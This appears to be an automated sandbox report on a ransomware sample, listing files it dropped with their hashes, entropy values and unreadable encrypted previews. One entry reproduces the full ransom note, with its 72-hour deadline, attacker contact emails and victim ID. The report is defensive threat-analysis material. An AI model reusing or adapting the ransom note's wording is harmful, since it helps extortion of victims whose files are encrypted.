                                                                                                                                        Preview:.w~.r&.......Y.,....@.9..'.yQ]C..........h.Y..'.H..Kx..)...GL!...ELj.....'X.'..w{$...X{..../...\.*.k....z.OT.v.O..D7^...9....xec`...pS.Zg....j....l...q.....o.2.r2...A%.tr......E..u%.P.c.%.`../.....r.v<=X.B... .X..Q..... .........^..b..N:...(f/f.M.....QC.C`dI.\.plUpf_M.......i?....g-../.L...)...E,.r...0Im%...].L3.B....*. ....Rm.O...)..n83....fo.^..g.{]..< o.`P...E..N.....H..:...QE....{v..xW@.r%(?...XIEt4MMya.R.zz... .1.Q.=....h......h(.....XA...O%V.6.yZx1..".,.....G...I.4.PR..'.....H..)x..XJ.T.J-.5.......i.E...-.$.\.@&5.=....L}p..6,3....6\*G.AD..<>.........it.~'.....R3..)...!Q>RG.-..g#.a.;..^.i0...Y.=1O.[`..7.3%g>*..IE....tf<!|V.=f.I...N.>R.#.{.i9.5p..~...B...D..`.Z-.9.....T@|.//.r..IE..dYC..._[8.1>z$...*)d.4...A3.)/f.|....q))2.]:.o:..%.{.;." .u.k...x...D\....9.@..vW.H'}.Pt..........1u.-_.Su.j..~.N..D.Q.J..B...~.......3...yh..#........G...NJ.<.2..rO>...*...n.fT...c..8r0.Z.y.^.......(..u.......0<.qli.....MsCk..g3j4@..p.=>......Z.....M..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.848016635133851
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:KgGUymBcHkid6F9t9TMJJ/qEf6V5IQ1iO8dCvAFvFtgMH5zIH0S0F9cSugOP:FGUymBJcqzMDq+6wgtvGtL5z/SQ/EP
                                                                                                                                        MD5:7F331444327D1C6DF38B9588B52F8617
                                                                                                                                        SHA1:48F7E70BFFFFDD28F6F7BAD70C017D332299B1B0
                                                                                                                                        SHA-256:C9520BFDB8E19E0D42A19FC09B8BE4C9E922BD5AD329AB018B0DD41E9FE27C0F
                                                                                                                                        SHA-512:F313B6F74B2700CFD49750930C4AC0BE5211D848DEF16891E24CB1BED42872F9F7B24EC71BF4933B04E6F4D83F7EA68723C18A8EFB7207FF90A169078C9052F3
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.w~.r&.......Y.,....@.9..'.yQ]C..........h.Y..'.H..Kx..)...GL!...ELj.....'X.'..w{$...X{..../...\.*.k....z.OT.v.O..D7^...9....xec`...pS.Zg....j....l...q.....o.2.r2...A%.tr......E..u%.P.c.%.`../.....r.v<=X.B... .X..Q..... .........^..b..N:...(f/f.M.....QC.C`dI.\.plUpf_M.......i?....g-../.L...)...E,.r...0Im%...].L3.B....*. ....Rm.O...)..n83....fo.^..g.{]..< o.`P...E..N.....H..:...QE....{v..xW@.r%(?...XIEt4MMya.R.zz... .1.Q.=....h......h(.....XA...O%V.6.yZx1..".,.....G...I.4.PR..'.....H..)x..XJ.T.J-.5.......i.E...-.$.\.@&5.=....L}p..6,3....6\*G.AD..<>.........it.~'.....R3..)...!Q>RG.-..g#.a.;..^.i0...Y.=1O.[`..7.3%g>*..IE....tf<!|V.=f.I...N.>R.#.{.i9.5p..~...B...D..`.Z-.9.....T@|.//.r..IE..dYC..._[8.1>z$...*)d.4...A3.)/f.|....q))2.]:.o:..%.{.;." .u.k...x...D\....9.@..vW.H'}.Pt..........1u.-_.Su.j..~.N..D.Q.J..B...~.......3...yh..#........G...NJ.<.2..rO>...*...n.fT...c..8r0.Z.y.^.......(..u.......0<.qli.....MsCk..g3j4@..p.=>......Z.....M..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858713492744217
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:2YIhrzpxbnCjXqlItDxJweN9SC/2+8KKJcRvzDyocdnro1EhMzP+BG0X:2fXxjQXqlIt/wig22+8KmcteoinrTyEX
                                                                                                                                        MD5:0948AF82279CED8506A670158D3854E2
                                                                                                                                        SHA1:C3C323347A70369628246AC904E10211253AB0FC
                                                                                                                                        SHA-256:D9E419E2A11F65E37B05D7A4E8CBFBB5D8BEF631E49C7B571C3817EFCCEF66D2
                                                                                                                                        SHA-512:893FAAF5760A5FEE9663F8FE1E3EC5A1EEEEAD6A68F2A93E1B37D6D2883EBA94880F061BDAA849F6B3D3AA7755B4B86BB2E6980B11069DBCAA161C666B6F4127
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....fg;M...7*..z.........#L...#....*.x..:J..U.-.Y.`.q"|..T...Y$C_.P..y.!m.q|.E......Z+2~...#e.D..$.....A.jd......A?.l.....&W..W.......W..y.I]?.....a...x@..`.i..`..n.-.._J..9sC...@+..g.u!._S.~F.9B.........Mv...%@.B.....sa....n%... Q+.vqj+._0....=\.i)..,..g7".e..+.Hq .[..0.......B.[.y..........m..d.. ........L...e;q.*.H.N....'....:.I...yg...'..T..+.(...{...S...kn..=./..pO5..=I...K.VfVA+.^>t.bM....2....d...b.i.....[..).............(s......y..}0cQ..i~...7^?...!!>...Z{...zP..q.Z.:...Y8.c.....4c.....B...2........`.BDr.....Q.n.%5E..C.K.'w*..n.......q....bg.A{^.{o....?..X.p5.z..~.x..p.N.......z./..R...(..|..f.N.c'p..z....r.Cdp.....T....#Q....-..)...]..........T.,._RM...bu.A.&.......t.....0....A....J.l..Y..J...E.."$.l....D.7.x_`.B.N... .u.....&..5..,.D.m..S...64:Y.4>..v....8..........$...xx.........h4....|..I......y.......P..{....<k.k.D...Z!f.l.....3pl..w.|.q.D.Z..0>...M...\.(...m.K#..RD;k.0r&....om^.,..r..sl_.!i$..@......R.Y.A..<..|Ns..q.n..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858713492744217
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:2YIhrzpxbnCjXqlItDxJweN9SC/2+8KKJcRvzDyocdnro1EhMzP+BG0X:2fXxjQXqlIt/wig22+8KmcteoinrTyEX
                                                                                                                                        MD5:0948AF82279CED8506A670158D3854E2
                                                                                                                                        SHA1:C3C323347A70369628246AC904E10211253AB0FC
                                                                                                                                        SHA-256:D9E419E2A11F65E37B05D7A4E8CBFBB5D8BEF631E49C7B571C3817EFCCEF66D2
                                                                                                                                        SHA-512:893FAAF5760A5FEE9663F8FE1E3EC5A1EEEEAD6A68F2A93E1B37D6D2883EBA94880F061BDAA849F6B3D3AA7755B4B86BB2E6980B11069DBCAA161C666B6F4127
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....fg;M...7*..z.........#L...#....*.x..:J..U.-.Y.`.q"|..T...Y$C_.P..y.!m.q|.E......Z+2~...#e.D..$.....A.jd......A?.l.....&W..W.......W..y.I]?.....a...x@..`.i..`..n.-.._J..9sC...@+..g.u!._S.~F.9B.........Mv...%@.B.....sa....n%... Q+.vqj+._0....=\.i)..,..g7".e..+.Hq .[..0.......B.[.y..........m..d.. ........L...e;q.*.H.N....'....:.I...yg...'..T..+.(...{...S...kn..=./..pO5..=I...K.VfVA+.^>t.bM....2....d...b.i.....[..).............(s......y..}0cQ..i~...7^?...!!>...Z{...zP..q.Z.:...Y8.c.....4c.....B...2........`.BDr.....Q.n.%5E..C.K.'w*..n.......q....bg.A{^.{o....?..X.p5.z..~.x..p.N.......z./..R...(..|..f.N.c'p..z....r.Cdp.....T....#Q....-..)...]..........T.,._RM...bu.A.&.......t.....0....A....J.l..Y..J...E.."$.l....D.7.x_`.B.N... .u.....&..5..,.D.m..S...64:Y.4>..v....8..........$...xx.........h4....|..I......y.......P..{....<k.k.D...Z!f.l.....3pl..w.|.q.D.Z..0>...M...\.(...m.K#..RD;k.0r&....om^.,..r..sl_.!i$..@......R.Y.A..<..|Ns..q.n..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.854541167443828
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:wKjKSc6B4w1Ka3jWJ23HQQBG+sI0yrrdantrmGOW7XscmgZJUhqXnaqt:wKjK2uJ237R0AdIrmU491hOaqt
                                                                                                                                        MD5:3C7D550143017840468EC3C8FD32EB27
                                                                                                                                        SHA1:539C7C27A43325E51262A8AA822912976CEFC46D
                                                                                                                                        SHA-256:7A3F08B9FFB9F646096AE6DC35C326A3B4BA2B5662334FE8FDC09124B002D22B
                                                                                                                                        SHA-512:50D3734A0934972FA775A1292DFD97D9FAE917D7A93A0880B04C778B14A0458C261432D25A18B2663A47C9FBD4AF2F75D93552AB9ECA68C4EC5F1CC76CA957D7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..43.].......W...y5E.....h'..Nq..C...Xum.W....5.K.......L...#..`b.~R.20.....g.`^.....^.....>..u..^w......y0........#`(.....-.*M\n........L>,m...)d ....3?...Jh.*.S.*..\&.[5...g.6..~N.....0.A?...pQ".2.Q.Z.........".G?..Hg...~J..4I.)N..}.AB...&.f..6...b...B.xA...q.Nuy...=..O87..L..v...!d.O.Y.-..#.......+0.,.q.^E.E..FX."......~......{u...1=:N#....D.+O@Lr%....."..d..q..01.Y.8.Q. ..I.s.Fg%.1...'.........t..O..yL...l..yZ.".a.ta}N...S..-./...........o...h...|...hY.>...))......=..L&......I.[......3..=K.|oU.:.h...%.....Jd.~0..ha6}v...o.}......._&-...H.9R9O........#..H..$.P.t.R6.c=.K..D..L8g....._.....j....J.*1..;..5?.{.....p.2e(.....v..@..q........vO...K.x.{..|.:t.>.=...~.v=..j.!.6.5.GK...../LX....I?.,........X..$;..4.G..,-.|.1..E.....By..Z..^W..h(.}.E..k/.!8...KiM]..3.&..n.!0......$.3.^.....O...*W........_.C...I.....3.8....N5(s%....(.|.r~.?.B...[..$.F_3^.rD1.'.&....^%..9..)..}..F..f..1-5.......)..1....Z....g_..PL......<2.B1.wh|U.x.o..c....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.854541167443828
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:wKjKSc6B4w1Ka3jWJ23HQQBG+sI0yrrdantrmGOW7XscmgZJUhqXnaqt:wKjK2uJ237R0AdIrmU491hOaqt
                                                                                                                                        MD5:3C7D550143017840468EC3C8FD32EB27
                                                                                                                                        SHA1:539C7C27A43325E51262A8AA822912976CEFC46D
                                                                                                                                        SHA-256:7A3F08B9FFB9F646096AE6DC35C326A3B4BA2B5662334FE8FDC09124B002D22B
                                                                                                                                        SHA-512:50D3734A0934972FA775A1292DFD97D9FAE917D7A93A0880B04C778B14A0458C261432D25A18B2663A47C9FBD4AF2F75D93552AB9ECA68C4EC5F1CC76CA957D7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..43.].......W...y5E.....h'..Nq..C...Xum.W....5.K.......L...#..`b.~R.20.....g.`^.....^.....>..u..^w......y0........#`(.....-.*M\n........L>,m...)d ....3?...Jh.*.S.*..\&.[5...g.6..~N.....0.A?...pQ".2.Q.Z.........".G?..Hg...~J..4I.)N..}.AB...&.f..6...b...B.xA...q.Nuy...=..O87..L..v...!d.O.Y.-..#.......+0.,.q.^E.E..FX."......~......{u...1=:N#....D.+O@Lr%....."..d..q..01.Y.8.Q. ..I.s.Fg%.1...'.........t..O..yL...l..yZ.".a.ta}N...S..-./...........o...h...|...hY.>...))......=..L&......I.[......3..=K.|oU.:.h...%.....Jd.~0..ha6}v...o.}......._&-...H.9R9O........#..H..$.P.t.R6.c=.K..D..L8g....._.....j....J.*1..;..5?.{.....p.2e(.....v..@..q........vO...K.x.{..|.:t.>.=...~.v=..j.!.6.5.GK...../LX....I?.,........X..$;..4.G..,-.|.1..E.....By..Z..^W..h(.}.E..k/.!8...KiM]..3.&..n.!0......$.3.^.....O...*W........_.C...I.....3.8....N5(s%....(.|.r~.?.B...[..$.F_3^.rD1.'.&....^%..9..)..}..F..f..1-5.......)..1....Z....g_..PL......<2.B1.wh|U.x.o..c....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.851669443864072
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8kRRa4o/W/H5+/bKINfkGlyxfz7osltwb33YD1VQ1kYZOGdAUZMenRs0:Tto/0+zZkG2FtF41/9dNBRn
                                                                                                                                        MD5:0078E4C17ACD30B21D13E4B4898D6B21
                                                                                                                                        SHA1:630C48B3373287A9510411630BB2D1E8A8A80D8B
                                                                                                                                        SHA-256:DBCFEC4B2307BB095510E9DBD17031E7153EC5D67C9AF968E991F8B11BAEB719
                                                                                                                                        SHA-512:8BEBFF9993B9515CEB6642D2E8CDBB8D8069A93FA559010E0FDCA25B99740848EA8B517F0D858ACA5EA9BB4AC218C33B612D38016AFABF9B9D3DD53BC623511B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:v.T4M.-"+J.?zy..:.Qn...VaB.....E<jx..I.y..sc|....:.!.. ..ub,..>(.!5#V[..A.....,....I...{.t...E.=Q....8..x.4r9...*...v....?.....p....mhf.L.G...%..DL.p...QI**....[.....<.....Y1.Yi..K,..e...A.\..KdO.(.".I.".%..[E .RB.&V....#......Z.....k..]......z.!...s...s.}..Z.L..[..Im'.2..<.A....V....C.!{...ey..<....M...Z1...8.~..x.>n6A.]..d]..... ...?..x.T2,_.y.S.Y.B.R.eR5.y.[.'4..6R...{.U?$.sQ.)...!.FLaR`w\*.........n.K.4.X.D..<=.}6t...1..-.|'{]w...e<...x..*...:;._\...2.6...../..O.X.btY.sbA.iic.'Li...&.....A.@8...q)T..6M.mj..t..vt@..G\u..>T.B....R.[.......p.....r...!^.qb.....6e3[.U...t.x..%W%.W=Sa..&>/..!.G.d...#.E!1l....#......l.?.h.c.Yp.}..`.#..:p....@..........Z..|>M....1I.j..a....7....R.f.....v.IN.....lU[.....bd...Tp...n...Q.PG,.D...~..ym..B..gT.+Q....Y...K...3.q....7p......dl......1.5.\.../....|T@"..|.}..p..P....*..-....6ZYrT..x.KF...&'..`.\...o.R.......M....;.)..(.m..(.p.G..i.|...l.8....c...0....r...G.q e.X!6.&..Ev....V...-....J.5;.c&.xx.=6..i2:..X.z..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.851669443864072
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8kRRa4o/W/H5+/bKINfkGlyxfz7osltwb33YD1VQ1kYZOGdAUZMenRs0:Tto/0+zZkG2FtF41/9dNBRn
                                                                                                                                        MD5:0078E4C17ACD30B21D13E4B4898D6B21
                                                                                                                                        SHA1:630C48B3373287A9510411630BB2D1E8A8A80D8B
                                                                                                                                        SHA-256:DBCFEC4B2307BB095510E9DBD17031E7153EC5D67C9AF968E991F8B11BAEB719
                                                                                                                                        SHA-512:8BEBFF9993B9515CEB6642D2E8CDBB8D8069A93FA559010E0FDCA25B99740848EA8B517F0D858ACA5EA9BB4AC218C33B612D38016AFABF9B9D3DD53BC623511B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:v.T4M.-"+J.?zy..:.Qn...VaB.....E<jx..I.y..sc|....:.!.. ..ub,..>(.!5#V[..A.....,....I...{.t...E.=Q....8..x.4r9...*...v....?.....p....mhf.L.G...%..DL.p...QI**....[.....<.....Y1.Yi..K,..e...A.\..KdO.(.".I.".%..[E .RB.&V....#......Z.....k..]......z.!...s...s.}..Z.L..[..Im'.2..<.A....V....C.!{...ey..<....M...Z1...8.~..x.>n6A.]..d]..... ...?..x.T2,_.y.S.Y.B.R.eR5.y.[.'4..6R...{.U?$.sQ.)...!.FLaR`w\*.........n.K.4.X.D..<=.}6t...1..-.|'{]w...e<...x..*...:;._\...2.6...../..O.X.btY.sbA.iic.'Li...&.....A.@8...q)T..6M.mj..t..vt@..G\u..>T.B....R.[.......p.....r...!^.qb.....6e3[.U...t.x..%W%.W=Sa..&>/..!.G.d...#.E!1l....#......l.?.h.c.Yp.}..`.#..:p....@..........Z..|>M....1I.j..a....7....R.f.....v.IN.....lU[.....bd...Tp...n...Q.PG,.D...~..ym..B..gT.+Q....Y...K...3.q....7p......dl......1.5.\.../....|T@"..|.}..p..P....*..-....6ZYrT..x.KF...&'..`.\...o.R.......M....;.)..(.m..(.p.G..i.|...l.8....c...0....r...G.q e.X!6.&..Ev....V...-....J.5;.c&.xx.=6..i2:..X.z..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.816389410579738
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:IH3kznJBT7Z4XODw+D9/iPi8Dtu15j7xBjLD7ddKOfn:fzT7Z4XOJ9/SvojLjLD7ym
                                                                                                                                        MD5:224A02B11BC7F790C7FC4EF2E3392789
                                                                                                                                        SHA1:39DB3B04E2F486868EC78798EE846B16596DCC5D
                                                                                                                                        SHA-256:D11D53F808A99F803097A348DFEEECB85186115F263E7ADB5F84BAC8462439A4
                                                                                                                                        SHA-512:FF60CA4FE298909F454FAA324F2CFCCCB4EFA38602ECB63BCC45081D2659B96C1186339CD7620A9995B5174CF279990ECCA3F1BB19FD5D3A18DA541B92A7DE41
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:q..4...+.Z...'E9".......BU>..P"....B'u.."J:03...Ywn....D\.....l....B.1g...$....I....x........!...s.^..,.9_G{x...jL.....}`......7..&..F.#.H...f....`.5j.f.x.'....AI.I9.N..3..vL....cD.D.H!.c.q...(....jO.c.Y..{u~.J`.#.wHN.q.i.!..`.&.o.......k.t1.K<......."k...Bn.3.q.wyG.u.84.....Ki.....;..K...3..`B.L.......W..cK...;......n;........*....]...o..W..t..,#.x...*.v...n.H.(.....d.(..g..t's.bJ.Ii...\.....M...b`q...4......}<.m...q.......w.$@....<{..@s$..V,FJ...%..C..Z...._s\....AW...C../...,..O6...w.>....D^.....s>...:.Ce/<...T\Nf......E.[Z...#.t5...{...q..+..._(...W.....z....... ..v..*.?.L..|.U.K.P....|".t..~.s..+m....$..{.@..O.G]...r.......n.!N....7.U...xb.*>.mo....w.6.....O.).`^c....4.8..X.P.1...m6(#...`..j.Y......[.v._..NZ.JC....^.....C...X.+EO....s.|[I..c..f......]..=..I.Z./..q/..cA...C..5.D.B.4.6!.~.Y..oR.M.Y.~^{xB.lZ...@.;`.}.d^.s.....Y..g...PL......4..8.)..4iI..Y.......oEa".i.z..V.KZ9.@..XqC...A..8D..0..}.n&..#....HO..O63...hY. `.>L!.9
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.816389410579738
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:IH3kznJBT7Z4XODw+D9/iPi8Dtu15j7xBjLD7ddKOfn:fzT7Z4XOJ9/SvojLjLD7ym
                                                                                                                                        MD5:224A02B11BC7F790C7FC4EF2E3392789
                                                                                                                                        SHA1:39DB3B04E2F486868EC78798EE846B16596DCC5D
                                                                                                                                        SHA-256:D11D53F808A99F803097A348DFEEECB85186115F263E7ADB5F84BAC8462439A4
                                                                                                                                        SHA-512:FF60CA4FE298909F454FAA324F2CFCCCB4EFA38602ECB63BCC45081D2659B96C1186339CD7620A9995B5174CF279990ECCA3F1BB19FD5D3A18DA541B92A7DE41
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:q..4...+.Z...'E9".......BU>..P"....B'u.."J:03...Ywn....D\.....l....B.1g...$....I....x........!...s.^..,.9_G{x...jL.....}`......7..&..F.#.H...f....`.5j.f.x.'....AI.I9.N..3..vL....cD.D.H!.c.q...(....jO.c.Y..{u~.J`.#.wHN.q.i.!..`.&.o.......k.t1.K<......."k...Bn.3.q.wyG.u.84.....Ki.....;..K...3..`B.L.......W..cK...;......n;........*....]...o..W..t..,#.x...*.v...n.H.(.....d.(..g..t's.bJ.Ii...\.....M...b`q...4......}<.m...q.......w.$@....<{..@s$..V,FJ...%..C..Z...._s\....AW...C../...,..O6...w.>....D^.....s>...:.Ce/<...T\Nf......E.[Z...#.t5...{...q..+..._(...W.....z....... ..v..*.?.L..|.U.K.P....|".t..~.s..+m....$..{.@..O.G]...r.......n.!N....7.U...xb.*>.mo....w.6.....O.).`^c....4.8..X.P.1...m6(#...`..j.Y......[.v._..NZ.JC....^.....C...X.+EO....s.|[I..c..f......]..=..I.Z./..q/..cA...C..5.D.B.4.6!.~.Y..oR.M.Y.~^{xB.lZ...@.;`.}.d^.s.....Y..g...PL......4..8.)..4iI..Y.......oEa".i.z..V.KZ9.@..XqC...A..8D..0..}.n&..#....HO..O63...hY. `.>L!.9
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.868816052169195
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:3lSg7Ya/gLjXbUkPkR4gA5WxIub38kcthTpJraARWiRPmFAJpD7qvbtQeFzJoHSk:8eLAknAKJbBcthjraARnRPmFA7D7qvx6
                                                                                                                                        MD5:ECB9D0DADD536EB0F46ED9E8B5ABBFA7
                                                                                                                                        SHA1:388AABC994E108082BF52999B2AC77047DEA04DF
                                                                                                                                        SHA-256:F494B6BCC62A6D292D2C6ECD27932D00FAF2A807B4EE19F61BA7C14D5809716C
                                                                                                                                        SHA-512:11D15957D8EAAD5391F042B13060FE2C9CCE59118268A1F3AFF38D750B09FC3E74A1060BB2739B7DB5AC71F784C3C3AFAA376B888E6151DB7F31ED30375824C8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:P>....in.7.Rb.2,>...k.+.L..VS.NK.L.F.2.U0k......QB......x.;8II.O.Y*z....Y.w.+..8<....?..5.#&!.'Z#O..DH..a.....u.?...u....&d........K.^*(_V...g...L[.n.;....1...cb 0.E.5..PYn.'.;.7$.h.5..7...;....R.i..I7...m.tZ.. ...ca0..(...g..4s...~...0.Q....g...L.t..,H.-.....\.[.......+..]...q....p.Zs3.E.t.....-..A...*.. XnS.&..#.....].....,iyY.'.:%.?M.....p.Tww.9.....oNF...."%3{.....)..>.^.8T.'*.....1.2k.m..'..............].....tiDQ..Q.p'.Or.L...a@PR|./. o......hg.Z.6M.!+D=.b.H....@f..Z!$.5.(S#.t..].$.Mj..y..2\...e#..'}.....z..ja%JEm..B.... .>Vh..fM..fk.(.S.... .......q...t.....k.i]S..x1.{%..C..`..I....V....w..Y......7.'.8...4. .m.6+ZwPD..]s... ...A.-.....2.....).T.W...%*...../}l.!.X.c&..H.V...809...h#.-CUq}.H.k.x/.l.....wS0.o.)......s...[_X....[.......-@#us.......&....N\.._.....R..QL.W..?.-..]_v....%..\%.W79Z[.....=.A(. .MV..6Bs.).qc..p.2....$.......A..-^AJ.n..Mx..|....F.hM.h.E..!.@..V..F...-%?........EB..:.S...M+.5.s..jR.._......W.M.#2*[<...5_Nc6........&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.868816052169195
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:3lSg7Ya/gLjXbUkPkR4gA5WxIub38kcthTpJraARWiRPmFAJpD7qvbtQeFzJoHSk:8eLAknAKJbBcthjraARnRPmFA7D7qvx6
                                                                                                                                        MD5:ECB9D0DADD536EB0F46ED9E8B5ABBFA7
                                                                                                                                        SHA1:388AABC994E108082BF52999B2AC77047DEA04DF
                                                                                                                                        SHA-256:F494B6BCC62A6D292D2C6ECD27932D00FAF2A807B4EE19F61BA7C14D5809716C
                                                                                                                                        SHA-512:11D15957D8EAAD5391F042B13060FE2C9CCE59118268A1F3AFF38D750B09FC3E74A1060BB2739B7DB5AC71F784C3C3AFAA376B888E6151DB7F31ED30375824C8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:P>....in.7.Rb.2,>...k.+.L..VS.NK.L.F.2.U0k......QB......x.;8II.O.Y*z....Y.w.+..8<....?..5.#&!.'Z#O..DH..a.....u.?...u....&d........K.^*(_V...g...L[.n.;....1...cb 0.E.5..PYn.'.;.7$.h.5..7...;....R.i..I7...m.tZ.. ...ca0..(...g..4s...~...0.Q....g...L.t..,H.-.....\.[.......+..]...q....p.Zs3.E.t.....-..A...*.. XnS.&..#.....].....,iyY.'.:%.?M.....p.Tww.9.....oNF...."%3{.....)..>.^.8T.'*.....1.2k.m..'..............].....tiDQ..Q.p'.Or.L...a@PR|./. o......hg.Z.6M.!+D=.b.H....@f..Z!$.5.(S#.t..].$.Mj..y..2\...e#..'}.....z..ja%JEm..B.... .>Vh..fM..fk.(.S.... .......q...t.....k.i]S..x1.{%..C..`..I....V....w..Y......7.'.8...4. .m.6+ZwPD..]s... ...A.-.....2.....).T.W...%*...../}l.!.X.c&..H.V...809...h#.-CUq}.H.k.x/.l.....wS0.o.)......s...[_X....[.......-@#us.......&....N\.._.....R..QL.W..?.-..]_v....%..\%.W79Z[.....=.A(. .MV..6Bs.).qc..p.2....$.......A..-^AJ.n..Mx..|....F.hM.h.E..!.@..V..F...-%?........EB..:.S...M+.5.s..jR.._......W.M.#2*[<...5_Nc6........&
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858539255557735
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zkCvWRU7iW2tBk6y+adJaZYavyurpdCNqekXLTimpHl5uac3tyUw2TrXAFCUbUDb:ERU7gVv4Ja2aa2pdOqekXniA74tyQTLz
                                                                                                                                        MD5:CC26004C717DD4AB864A2FD3F9C0BFE2
                                                                                                                                        SHA1:83856CEF3DFB6D6579A71923D3D0D0B5E1817A39
                                                                                                                                        SHA-256:85B040D492FDF061E4F92D8C8C5496A83C1CC159BDBE1A974777A0168C74FE33
                                                                                                                                        SHA-512:9CF7A54B0D0CDEE8B859408021AB782F1993DFD5A1E612E24E1C6E0C4405E419201F82E17C6622F6070172FD075BBEFFCB7715F36B48F7A8A712A6030FD910D3
                                                                                                                                        Malicious:false
